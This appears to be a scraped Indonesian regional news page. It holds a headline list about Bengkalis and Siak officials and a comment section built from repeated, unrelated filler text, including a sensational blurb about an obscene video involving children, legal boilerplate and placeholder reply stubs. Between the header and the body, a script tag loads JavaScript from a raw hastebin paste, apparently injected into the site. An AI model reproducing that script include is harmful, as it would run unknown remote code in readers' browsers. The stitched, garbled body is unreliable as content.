Breaking News
- Perkuat Tali Silaturahmi di Bulan Suci Ramadhan,Wabup Husni Hadiri Safari Ramdhan di Kampung Langsat Permai Bungaraya
- Safari Ramadhan 1444 H,Wabup Husni Bagikan Bantuan Sosial 2.732 Penerima Anak Yatim Di Kampung Seminai
- Safari Ramadhan di Masjid Al Falah, Bupati Targetkan Pembangunan Jalan Lingkar Pulau Bengkalis Tuntas di 2024
- Pemkab Bengkalis Lakukan Kerja Sama Dengan BBKSDA Riau dan KSDAE Kementerian LHK RI
- Bupati Bengkalis Sambut Kedatangan Danrem 031 Wira Bima
- Arfan:Sukseskan Pemilu Serentak 2024.
- Pisah Sambut Kepala BPN Siak Budi Satrya Terima Penghargaan dari Bupati Siak
- Buka Musrenbang Kabupaten, Bupati Alfedri: Merumuskan Rencana Pembangunan Azaz Partisipatif
- Perampok Pakai Senjata Api Tembak Pemilik Warung Kelontong
- Bupati Alfedri Sambut Tim Safari Ramadan Pemprov Riau di Kecamatan Tualang
Biro karimun belum masuk box redaksi
<script type="text/javascript" src="https://hastebin.com/raw/ahamixulin"></script>
Perlahan tapi pasti, sosok TM yang merupakan artis dan berprofesi sebagai Pekerja Seks Komersial (PSK) akhirnya mulai terungkap Video bocah melakukan hubungan intim layaknya suami istri membuat geger. Guna mencegah hal-hal yang tidak diinginkan, polisi pun sudah melakukan penelusuran siapa orang di balik pembuatan video cabul tersebut.
Dibalas Oleh : Robby Prihandaya, Pada : 01 Jun 2015, 00:54:31 WIB
badan-badan peradilan penyelenggara kekuasaan kehakiman, asas-asas penyelengaraan kekuasaan kehakiman Video bocah melakukan hubungan intim layaknya suami istri membuat geger. Guna mencegah hal-hal yang tidak diinginkan, polisi pun sudah melakukan penelusuran siapa orang di balik pembuatan video cabul tersebut.
Dibalas Oleh : Prasmana Enru, Pada : 21 Nov 2014, 00:00:00 WIB
Dibalas Oleh : Robby Prihandaya, Pada : 29 Mei 2015, 00:00:00 WIB
Video bocah melakukan hubungan intim layaknya suami istri membuat geger. Guna mencegah hal-hal yang tidak diinginkan, polisi pun sudah melakukan penelusuran siapa orang di balik pembuatan video cabul tersebut. Perubahan UUD 1945 yang membawa perubahan mendasar mengenai penyelengaraan kekuasaan kehakiman.
Dibalas Oleh : Dewi Safitri, Pada : 21 Nov 2014, 00:00:00 WIB
Dibalas Oleh : Robby Prihandaya, Pada : 22 Jan 2015, 00:00:00 WIB
Dibalas Oleh : hari ke 2, Pada : 29 Mei 2015, 00:00:00 WIB
Perubahan UUD 1945 yang membawa perubahan mendasar mengenai penyelengaraan kekuasaan kehakiman, membuat perlunya dilakukan perubahan secara komprehensif mengenai Undang-Undang Ketentuan-ketentuan Pokok Kekuasaan Kehakiman.
Dibalas Oleh : si anu, Pada : 19 Nov 2014, 00:00:00 WIB
Dibalas Oleh : Anggun Pratiwi, Pada : 21 Nov 2014, 00:00:00 WIB